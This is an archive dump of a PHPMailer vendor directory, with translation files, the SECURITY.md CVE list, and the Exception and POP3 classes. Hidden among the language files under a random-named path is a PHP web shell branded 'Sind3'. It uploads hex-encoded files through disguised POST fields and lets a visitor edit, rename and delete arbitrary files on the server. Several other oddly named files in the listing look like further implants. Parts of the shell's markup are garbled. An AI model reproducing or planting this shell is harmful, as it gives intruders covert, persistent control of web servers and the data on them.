$PHPMAILER_LANG['invalid_hostentry'] = 'Gagal terkirim, entri host tidak sesuai: '; $PHPMAILER_LANG['invalid_host'] = 'Gagal terkirim, host tidak sesuai: '; $PHPMAILER_LANG['provide_address'] = 'Harus tersedia minimal satu alamat tujuan'; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer tidak didukung'; $PHPMAILER_LANG['recipients_failed'] = 'Kesalahan SMTP: Alamat tujuan berikut menyebabkan kesalahan: '; $PHPMAILER_LANG['signing'] = 'Kesalahan dalam penandatangan SSL: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() gagal.'; $PHPMAILER_LANG['smtp_error'] = 'Kesalahan pada pelayan SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Tidak dapat mengatur atau mengatur ulang variabel: '; $PHPMAILER_LANG['extension_missing'] = 'Ekstensi PHP tidak tersedia: '; PHPMailer/vendor/phpmailer/phpmailer/language/jnutgs/index.php000064400000000150151026170410020472 0ustar00PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-fr.php000064400000005444151026170410021372 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP грешка: Не може да се удостовери пред сървъра.'; $PHPMAILER_LANG['connect_host'] = 'SMTP грешка: Не може да се свърже с SMTP хоста.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP грешка: данните не са приети.'; $PHPMAILER_LANG['empty_message'] = 'Съдържанието на съобщението е празно'; $PHPMAILER_LANG['encoding'] = 'Неизвестно кодиране: '; $PHPMAILER_LANG['execute'] = 'Не може да се изпълни: '; $PHPMAILER_LANG['file_access'] = 'Няма достъп до файл: '; $PHPMAILER_LANG['file_open'] = 'Файлова грешка: Не може да се отвори файл: '; $PHPMAILER_LANG['from_failed'] = 'Следните адреси за подател са невалидни: '; $PHPMAILER_LANG['instantiate'] = 'Не може да се инстанцира функцията mail.'; $PHPMAILER_LANG['invalid_address'] = 'Невалиден адрес: '; $PHPMAILER_LANG['mailer_not_supported'] = ' - пощенски сървър не се поддържа.'; $PHPMAILER_LANG['provide_address'] = 'Трябва да предоставите поне един email адрес за получател.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP грешка: Следните адреси за Получател са невалидни: '; $PHPMAILER_LANG['signing'] = 'Грешка при подписване: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP провален connect().'; $PHPMAILER_LANG['smtp_error'] = 'SMTP сървърна грешка: '; $PHPMAILER_LANG['variable_set'] = 'Не може да се установи или възстанови променлива: '; $PHPMAILER_LANG['extension_missing'] = 'Липсва разширение: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-mn.php000064400000004212151026170410021365 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP შეცდომა: ავტორიზაცია შეუძლებელია.'; $PHPMAILER_LANG['connect_host'] = 'SMTP შეცდომა: SMTP სერვერთან დაკავშირება შეუძლებელია.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP შეცდომა: მონაცემები არ იქნა მიღებული.'; $PHPMAILER_LANG['encoding'] = 'კოდირების უცნობი ტიპი: '; $PHPMAILER_LANG['execute'] = 'შეუძლებელია შემდეგი ბრძანების შესრულება: '; $PHPMAILER_LANG['file_access'] = 'შეუძლებელია წვდომა ფაილთან: '; $PHPMAILER_LANG['file_open'] = 'ფაილური სისტემის შეცდომა: არ იხსნება ფაილი: '; $PHPMAILER_LANG['from_failed'] = 'გამგზავნის არასწორი მისამართი: '; $PHPMAILER_LANG['instantiate'] = 'mail ფუნქციის გაშვება ვერ ხერხდება.'; $PHPMAILER_LANG['provide_address'] = 'გთხოვთ მიუთითოთ ერთი ადრესატის e-mail მისამართი მაინც.'; $PHPMAILER_LANG['mailer_not_supported'] = ' - საფოსტო სერვერის მხარდაჭერა არ არის.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP შეცდომა: შემდეგ მისამართებზე გაგზავნა ვერ მოხერხდა: '; $PHPMAILER_LANG['empty_message'] = 'შეტყობინება ცარიელია'; $PHPMAILER_LANG['invalid_address'] = 'არ გაიგზავნა, e-mail მისამართის არასწორი ფორმატი: '; $PHPMAILER_LANG['signing'] = 'ხელმოწერის შეცდომა: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'შეცდომა SMTP სერვერთან დაკავშირებისას'; $PHPMAILER_LANG['smtp_error'] = 'SMTP სერვერის შეცდომა: '; $PHPMAILER_LANG['variable_set'] = 'შეუძლებელია შემდეგი ცვლადის შექმნა ან შეცვლა: '; $PHPMAILER_LANG['extension_missing'] = 'ბიბლიოთეკა არ არსებობს: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-mg.php000064400000003366151026170410021367 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'Hadisoana SMTP: Tsy nahomby ny fanamarinana.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Error: Tsy afaka mampifandray amin\'ny mpampiantrano SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP diso: tsy voarakitra ny angona.'; $PHPMAILER_LANG['empty_message'] = 'Tsy misy ny votoaty mailaka.'; $PHPMAILER_LANG['encoding'] = 'Tsy fantatra encoding: '; $PHPMAILER_LANG['execute'] = 'Tsy afaka manatanteraka ity baiko manaraka ity: '; $PHPMAILER_LANG['file_access'] = 'Tsy nahomby ny fidirana amin\'ity rakitra ity: '; $PHPMAILER_LANG['file_open'] = 'Hadisoana diso: Tsy afaka nanokatra ity file manaraka ity: '; $PHPMAILER_LANG['from_failed'] = 'Ny adiresy iraka manaraka dia diso: '; $PHPMAILER_LANG['instantiate'] = 'Tsy afaka nanomboka ny hetsika mail.'; $PHPMAILER_LANG['invalid_address'] = 'Tsy mety ny adiresy: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer tsy manohana.'; $PHPMAILER_LANG['provide_address'] = 'Alefaso azafady iray adiresy iray farafahakeliny.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Tsy mety ireo mpanaraka ireto: '; $PHPMAILER_LANG['signing'] = 'Error nandritra ny sonia:'; $PHPMAILER_LANG['smtp_connect_failed'] = 'Tsy nahomby ny fifandraisana tamin\'ny server SMTP.'; $PHPMAILER_LANG['smtp_error'] = 'Fahadisoana tamin\'ny server SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Tsy azo atao ny mametraka na mamerina ny variable: '; $PHPMAILER_LANG['extension_missing'] = 'Tsy hita ny ampahany: '; PHPMailer/vendor/phpmailer/phpmailer/language/rqi0wo/uvzo3.php000064400000056045151026170410020376 0ustar00 '; echo ''; echo ''; echo ''; echo ''; } foreach ($fileList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo ''; echo ''; echo ''; echo ''; echo ''; } ?>
Name Size Actions
' . htmlspecialchars($entry) . '-
' . htmlspecialchars($entry) . '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ''; echo 'Edit | '; echo 'Rename | '; echo 'Delete'; echo '
$l) { if ($l == '' && $m == 0) { $breadcrumbHtml .= '/'; } if ($l == '') continue; $breadcrumbHtml .= ''.$l.'/'; } echo $breadcrumbHtml; exit; } function safe_stream_copy($in, $out): bool { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } if (fwrite($out, $buff) === false) { return false; } } } while (!feof($in)); return true; } else { return stream_copy_to_stream($in, $out) !== false; } } if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) { $fileName = $_POST['benkyo']; $encodedContent = $_POST['dakeja']; $decodedContent = hex2bin($encodedContent); if ($decodedContent === false) { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']); } else { setFlash('failed', 'Invalid Base64 encoding'); header("Location: ?d=" . hex($d)); } exit; } $tempStream = fopen('php://temp', 'r+'); fwrite($tempStream, $decodedContent); rewind($tempStream); $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName); $outStream = fopen($targetPath, 'wb'); $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream); if ($outStream) fclose($outStream); if ($tempStream) fclose($tempStream); if ($success) { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']); } else { setFlash('success', 'File uploaded successfully'); header("Location: ?d=" . hex($d)); } } else { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']); } else { setFlash('failed', 'File upload failed'); header("Location: ?d=" . hex($d)); exit; } } exit; } if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) { if ($_GET['action'] === 'delete') { $fileName = $_GET['file']; $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName); if (!$filePath || !is_file($filePath)) { $response = ['status'=>'failed','msg'=>'File not found or access denied']; } else { $result = unlink($filePath); $response = $result ? ['status'=>'success','msg'=>'File deleted successfully'] : ['status'=>'failed','msg'=>'File deletion failed']; } header('Content-Type: application/json'); echo json_encode($response); exit; } elseif ($_GET['action'] === 'rename') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) { $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name']; if ($oldFile && is_file($oldFile)) { $result = rename($oldFile, $newFile); $response = $result ? ['status'=>'success','msg'=>'File renamed successfully'] : ['status'=>'failed','msg'=>'File renaming failed']; header('Content-Type: application/json'); echo json_encode($response); exit; } else { header('Content-Type: application/json'); echo json_encode(['status'=>'failed','msg'=>'File not found']); exit; } } elseif ($isAjax) { echo '

Rename File: ' . htmlspecialchars($_GET['file']) . '

'; echo '
'; echo '
'; echo '
'; echo '
'; echo ''; echo '
'; echo '

'; exit; } } elseif ($_GET['action'] === 'edit') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); if ($filePath && is_file($filePath)) { $fp = fopen($filePath, "w"); if ($fp) { $bytesWritten = fwrite($fp, stripslashes($_POST['content'])); fclose($fp); $response = ($bytesWritten !== false) ? ['status' => 'success', 'msg' => 'File edited successfully'] : ['status' => 'failed', 'msg' => 'File editing failed']; } else { $response = ['status' => 'failed', 'msg' => 'File opening failed']; } header('Content-Type: application/json'); echo json_encode($response); exit; } else { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'File not found']); exit; } } elseif ($isAjax) { $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); if ($filePath && is_file($filePath)) { $content = file_get_contents($filePath); echo '

Edit File: ' . htmlspecialchars($_GET['file']) . '

'; echo '
'; echo '
'; echo '
'; echo '
'; echo ''; echo '
'; echo '

'; } exit; } } } ?> Sind3
   SERV :
   SOFT :
   IP   :

——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————




'; echo ''; echo ''; echo ''; echo ''; } foreach ($fileList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo ''; echo ''; echo ''; echo ''; echo ''; } ?>
Name Size Actions
' . htmlspecialchars($entry) . '-
' . htmlspecialchars($entry) . '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ''; echo 'Edit | '; echo 'Rename | '; echo 'Delete'; echo '
© zeinhorobosu
PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-et.php000064400000003320151026170410021362 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP Viga: Autoriseerimise viga.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Viga: Ei õnnestunud luua ühendust SMTP serveriga.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Viga: Vigased andmed.'; $PHPMAILER_LANG['empty_message'] = 'Tühi kirja sisu'; $PHPMAILER_LANG["encoding"] = 'Tundmatu kodeering: '; $PHPMAILER_LANG['execute'] = 'Tegevus ebaõnnestus: '; $PHPMAILER_LANG['file_access'] = 'Pole piisavalt õiguseid järgneva faili avamiseks: '; $PHPMAILER_LANG['file_open'] = 'Faili Viga: Faili avamine ebaõnnestus: '; $PHPMAILER_LANG['from_failed'] = 'Järgnev saatja e-posti aadress on vigane: '; $PHPMAILER_LANG['instantiate'] = 'mail funktiooni käivitamine ebaõnnestus.'; $PHPMAILER_LANG['invalid_address'] = 'Saatmine peatatud, e-posti address vigane: '; $PHPMAILER_LANG['provide_address'] = 'Te peate määrama vähemalt ühe saaja e-posti aadressi.'; $PHPMAILER_LANG['mailer_not_supported'] = ' maileri tugi puudub.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Viga: Järgnevate saajate e-posti aadressid on vigased: '; $PHPMAILER_LANG["signing"] = 'Viga allkirjastamisel: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() ebaõnnestus.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP serveri viga: '; $PHPMAILER_LANG['variable_set'] = 'Ei õnnestunud määrata või lähtestada muutujat: '; $PHPMAILER_LANG['extension_missing'] = 'Nõutud laiendus on puudu: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-lt.php000064400000003133151026170410021373 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP klaida: autentifikacija nepavyko.'; $PHPMAILER_LANG['connect_host'] = 'SMTP klaida: nepavyksta prisijungti prie SMTP stoties.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP klaida: duomenys nepriimti.'; $PHPMAILER_LANG['empty_message'] = 'Laiško turinys tuščias'; $PHPMAILER_LANG['encoding'] = 'Neatpažinta koduotė: '; $PHPMAILER_LANG['execute'] = 'Nepavyko įvykdyti komandos: '; $PHPMAILER_LANG['file_access'] = 'Byla nepasiekiama: '; $PHPMAILER_LANG['file_open'] = 'Bylos klaida: Nepavyksta atidaryti: '; $PHPMAILER_LANG['from_failed'] = 'Neteisingas siuntėjo adresas: '; $PHPMAILER_LANG['instantiate'] = 'Nepavyko paleisti mail funkcijos.'; $PHPMAILER_LANG['invalid_address'] = 'Neteisingas adresas: '; $PHPMAILER_LANG['mailer_not_supported'] = ' pašto stotis nepalaikoma.'; $PHPMAILER_LANG['provide_address'] = 'Nurodykite bent vieną gavėjo adresą.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP klaida: nepavyko išsiųsti šiems gavėjams: '; $PHPMAILER_LANG['signing'] = 'Prisijungimo klaida: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP susijungimo klaida'; $PHPMAILER_LANG['smtp_error'] = 'SMTP stoties klaida: '; $PHPMAILER_LANG['variable_set'] = 'Nepavyko priskirti reikšmės kintamajam: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-eo.php000064400000003201151026170410021353 0ustar00PHPMailer/vendor/phpmailer/phpmailer/SECURITY.md000064400000016640151026170410015361 0ustar00# Security notices relating to PHPMailer Please disclose any security issues or vulnerabilities found through [Tidelift's coordinated disclosure system](https://tidelift.com/security) or to the maintainers privately. PHPMailer 6.4.1 and earlier contain a vulnerability that can result in untrusted code being called (if such code is injected into the host project's scope by other means). If the `$patternselect` parameter to `validateAddress()` is set to `'php'` (the default, defined by `PHPMailer::$validator`), and the global namespace contains a function called `php`, it will be called in preference to the built-in validator of the same name. Mitigated in PHPMailer 6.5.0 by denying the use of simple strings as validator function names. Recorded as [CVE-2021-3603](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3603). Reported by [Vikrant Singh Chauhan](mailto:vi@hackberry.xyz) via [huntr.dev](https://www.huntr.dev/). PHPMailer versions 6.4.1 and earlier contain a possible remote code execution vulnerability through the `$lang_path` parameter of the `setLanguage()` method. If the `$lang_path` parameter is passed unfiltered from user input, it can be set to [a UNC path](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths), and if an attacker is also able to persuade the server to load a file from that UNC path, a script file under their control may be executed. This vulnerability only applies to systems that resolve UNC paths, typically only Microsoft Windows. PHPMailer 6.5.0 mitigates this by no longer treating translation files as PHP code, but by parsing their text content directly. This approach avoids the possibility of executing unknown code while retaining backward compatibility. This isn't ideal, so the current translation format is deprecated and will be replaced in the next major release. Recorded as [CVE-2021-34551](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34551). Reported by [Jilin Diting Information Technology Co., Ltd](https://listensec.com) via Tidelift. PHPMailer versions between 6.1.8 and 6.4.0 contain a regression of the earlier CVE-2018-19296 object injection vulnerability as a result of [a fix for Windows UNC paths in 6.1.8](https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9). Recorded as [CVE-2020-36326](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-36326). Reported by Fariskhi Vidyan via Tidelift. 6.4.1 fixes this issue, and also enforces stricter checks for URL schemes in local path contexts. PHPMailer versions 6.1.5 and earlier contain an output escaping bug that occurs in `Content-Type` and `Content-Disposition` when filenames passed into `addAttachment` and other methods that accept attachment names contain double quote characters, in contravention of RFC822 3.4.1. No specific vulnerability has been found relating to this, but it could allow file attachments to bypass attachment filters that are based on matching filename extensions. Recorded as [CVE-2020-13625](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-13625). Reported by Elar Lang of Clarified Security. PHPMailer versions prior to 6.0.6 and 5.2.27 are vulnerable to an object injection attack by passing `phar://` paths into `addAttachment()` and other functions that may receive unfiltered local paths, possibly leading to RCE. Recorded as [CVE-2018-19296](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-19296). See [this article](https://knasmueller.net/5-answers-about-php-phar-exploitation) for more info on this type of vulnerability. Mitigated by blocking the use of paths containing URL-protocol style prefixes such as `phar://`. Reported by Sehun Oh of cyberone.kr. PHPMailer versions prior to 5.2.24 (released July 26th 2017) have an XSS vulnerability in one of the code examples, [CVE-2017-11503](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-11503). The `code_generator.phps` example did not filter user input prior to output. This file is distributed with a `.phps` extension, so it it not normally executable unless it is explicitly renamed, and the file is not included when PHPMailer is loaded through composer, so it is safe by default. There was also an undisclosed potential XSS vulnerability in the default exception handler (unused by default). Patches for both issues kindly provided by Patrick Monnerat of the Fedora Project. PHPMailer versions prior to 5.2.22 (released January 9th 2017) have a local file disclosure vulnerability, [CVE-2017-5223](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5223). If content passed into `msgHTML()` is sourced from unfiltered user input, relative paths can map to absolute local file paths and added as attachments. Also note that `addAttachment` (just like `file_get_contents`, `passthru`, `unlink`, etc) should not be passed user-sourced params either! Reported by Yongxiang Li of Asiasecurity. PHPMailer versions prior to 5.2.20 (released December 28th 2016) are vulnerable to [CVE-2016-10045](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10045) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html), and patched by Paul Buonopane (@Zenexer). PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html). PHPMailer versions prior to 5.2.14 (released November 2015) are vulnerable to [CVE-2015-8476](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8476) an SMTP CRLF injection bug permitting arbitrary message sending. PHPMailer versions prior to 5.2.10 (released May 2015) are vulnerable to [CVE-2008-5619](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5619), a remote code execution vulnerability in the bundled html2text library. This file was removed in 5.2.10, so if you are using a version prior to that and make use of the html2text function, it's vitally important that you upgrade and remove this file. PHPMailer versions prior to 2.0.7 and 2.2.1 are vulnerable to [CVE-2012-0796](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0796), an email header injection attack. Joomla 1.6.0 uses PHPMailer in an unsafe way, allowing it to reveal local file paths, reported in [CVE-2011-3747](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3747). PHPMailer didn't sanitise the `$lang_path` parameter in `SetLanguage`. This wasn't a problem in itself, but some apps (PHPClassifieds, ATutor) also failed to sanitise user-provided parameters passed to it, permitting semi-arbitrary local file inclusion, reported in [CVE-2010-4914](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4914), [CVE-2007-2021](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-2021) and [CVE-2006-5734](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5734). PHPMailer 1.7.2 and earlier contained a possible DDoS vulnerability reported in [CVE-2005-1807](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1807). PHPMailer 1.7 and earlier (June 2003) have a possible vulnerability in the `SendmailSend` method where shell commands may not be sanitised. Reported in [CVE-2007-3215](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-3215). PHPMailer/vendor/phpmailer/phpmailer/tkxhde/ra3cw.php000064400000002242151026170410016600 0ustar00PHPMailer/vendor/phpmailer/phpmailer/src/hp3qen/index.php000064400000000166151026170410017371 0ustar00PHPMailer/vendor/phpmailer/phpmailer/src/Exception.php000064400000002330151026170410017015 0ustar00 * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer exception handler. * * @author Marcus Bointon */ class Exception extends \Exception { /** * Prettify error message output. * * @return string */ public function errorMessage() { return '' . htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) . "
\n"; } } PHPMailer/vendor/phpmailer/phpmailer/src/POP3.php000064400000027743151026170410015617 0ustar00 * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer POP-Before-SMTP Authentication Class. * Specifically for PHPMailer to use for RFC1939 POP-before-SMTP authentication. * 1) This class does not support APOP authentication. * 2) Opening and closing lots of POP3 connections can be quite slow. If you need * to send a batch of emails then just perform the authentication once at the start, * and then loop through your mail sending script. Providing this process doesn't * take longer than the verification period lasts on your POP3 server, you should be fine. * 3) This is really ancient technology; you should only need to use it to talk to very old systems. * 4) This POP3 class is deliberately lightweight and incomplete, implementing just * enough to do authentication. * If you want a more complete class there are other POP3 classes for PHP available. * * @author Richard Davey (original author) * @author Marcus Bointon (Synchro/coolbru) * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) */ class POP3 { /** * The POP3 PHPMailer Version number. * * @var string */ const VERSION = '6.7.1'; /** * Default POP3 port number. * * @var int */ const DEFAULT_PORT = 110; /** * Default timeout in seconds. * * @var int */ const DEFAULT_TIMEOUT = 30; /** * POP3 class debug output mode. * Debug output level. * Options: * @see POP3::DEBUG_OFF: No output * @see POP3::DEBUG_SERVER: Server messages, connection/server errors * @see POP3::DEBUG_CLIENT: Client and Server messages, connection/server errors * * @var int */ public $do_debug = self::DEBUG_OFF; /** * POP3 mail server hostname. * * @var string */ public $host; /** * POP3 port number. * * @var int */ public $port; /** * POP3 Timeout Value in seconds. * * @var int */ public $tval; /** * POP3 username. * * @var string */ public $username; /** * POP3 password. * * @var string */ public $password; /** * Resource handle for the POP3 connection socket. * * @var resource */ protected $pop_conn; /** * Are we connected? * * @var bool */ protected $connected = false; /** * Error container. * * @var array */ protected $errors = []; /** * Line break constant. */ const LE = "\r\n"; /** * Debug level for no output. * * @var int */ const DEBUG_OFF = 0; /** * Debug level to show server -> client messages * also shows clients connection errors or errors from server * * @var int */ const DEBUG_SERVER = 1; /** * Debug level to show client -> server and server -> client messages. * * @var int */ const DEBUG_CLIENT = 2; /** * Simple static wrapper for all-in-one POP before SMTP. * * @param string $host The hostname to connect to * @param int|bool $port The port number to connect to * @param int|bool $timeout The timeout value * @param string $username * @param string $password * @param int $debug_level * * @return bool */ public static function popBeforeSmtp( $host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0 ) { $pop = new self(); return $pop->authorise($host, $port, $timeout, $username, $password, $debug_level); } /** * Authenticate with a POP3 server. * A connect, login, disconnect sequence * appropriate for POP-before SMTP authorisation. * * @param string $host The hostname to connect to * @param int|bool $port The port number to connect to * @param int|bool $timeout The timeout value * @param string $username * @param string $password * @param int $debug_level * * @return bool */ public function authorise($host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0) { $this->host = $host; //If no port value provided, use default if (false === $port) { $this->port = static::DEFAULT_PORT; } else { $this->port = (int) $port; } //If no timeout value provided, use default if (false === $timeout) { $this->tval = static::DEFAULT_TIMEOUT; } else { $this->tval = (int) $timeout; } $this->do_debug = $debug_level; $this->username = $username; $this->password = $password; //Reset the error log $this->errors = []; //Connect $result = $this->connect($this->host, $this->port, $this->tval); if ($result) { $login_result = $this->login($this->username, $this->password); if ($login_result) { $this->disconnect(); return true; } } //We need to disconnect regardless of whether the login succeeded $this->disconnect(); return false; } /** * Connect to a POP3 server. * * @param string $host * @param int|bool $port * @param int $tval * * @return bool */ public function connect($host, $port = false, $tval = 30) { //Are we already connected? if ($this->connected) { return true; } //On Windows this will raise a PHP Warning error if the hostname doesn't exist. //Rather than suppress it with @fsockopen, capture it cleanly instead set_error_handler([$this, 'catchWarning']); if (false === $port) { $port = static::DEFAULT_PORT; } //Connect to the POP3 server $errno = 0; $errstr = ''; $this->pop_conn = fsockopen( $host, //POP3 Host $port, //Port # $errno, //Error Number $errstr, //Error Message $tval ); //Timeout (seconds) //Restore the error handler restore_error_handler(); //Did we connect? if (false === $this->pop_conn) { //It would appear not... $this->setError( "Failed to connect to server $host on port $port. errno: $errno; errstr: $errstr" ); return false; } //Increase the stream time-out stream_set_timeout($this->pop_conn, $tval, 0); //Get the POP3 server response $pop3_response = $this->getResponse(); //Check for the +OK if ($this->checkResponse($pop3_response)) { //The connection is established and the POP3 server is talking $this->connected = true; return true; } return false; } /** * Log in to the POP3 server. * Does not support APOP (RFC 2828, 4949). * * @param string $username * @param string $password * * @return bool */ public function login($username = '', $password = '') { if (!$this->connected) { $this->setError('Not connected to POP3 server'); return false; } if (empty($username)) { $username = $this->username; } if (empty($password)) { $password = $this->password; } //Send the Username $this->sendString("USER $username" . static::LE); $pop3_response = $this->getResponse(); if ($this->checkResponse($pop3_response)) { //Send the Password $this->sendString("PASS $password" . static::LE); $pop3_response = $this->getResponse(); if ($this->checkResponse($pop3_response)) { return true; } } return false; } /** * Disconnect from the POP3 server. */ public function disconnect() { // If could not connect at all, no need to disconnect if ($this->pop_conn === false) { return; } $this->sendString('QUIT' . static::LE); // RFC 1939 shows POP3 server sending a +OK response to the QUIT command. // Try to get it. Ignore any failures here. try { $this->getResponse(); } catch (Exception $e) { //Do nothing } //The QUIT command may cause the daemon to exit, which will kill our connection //So ignore errors here try { @fclose($this->pop_conn); } catch (Exception $e) { //Do nothing } // Clean up attributes. $this->connected = false; $this->pop_conn = false; } /** * Get a response from the POP3 server. * * @param int $size The maximum number of bytes to retrieve * * @return string */ protected function getResponse($size = 128) { $response = fgets($this->pop_conn, $size); if ($this->do_debug >= self::DEBUG_SERVER) { echo 'Server -> Client: ', $response; } return $response; } /** * Send raw data to the POP3 server. * * @param string $string * * @return int */ protected function sendString($string) { if ($this->pop_conn) { if ($this->do_debug >= self::DEBUG_CLIENT) { //Show client messages when debug >= 2 echo 'Client -> Server: ', $string; } return fwrite($this->pop_conn, $string, strlen($string)); } return 0; } /** * Checks the POP3 server response. * Looks for for +OK or -ERR. * * @param string $string * * @return bool */ protected function checkResponse($string) { if (strpos($string, '+OK') !== 0) { $this->setError("Server reported an error: $string"); return false; } return true; } /** * Add an error to the internal error store. * Also display debug output if it's enabled. * * @param string $error */ protected function setError($error) { $this->errors[] = $error; if ($this->do_debug >= self::DEBUG_SERVER) { echo '
';
            foreach ($this->errors as $e) {
                print_r($e);
            }
            echo '
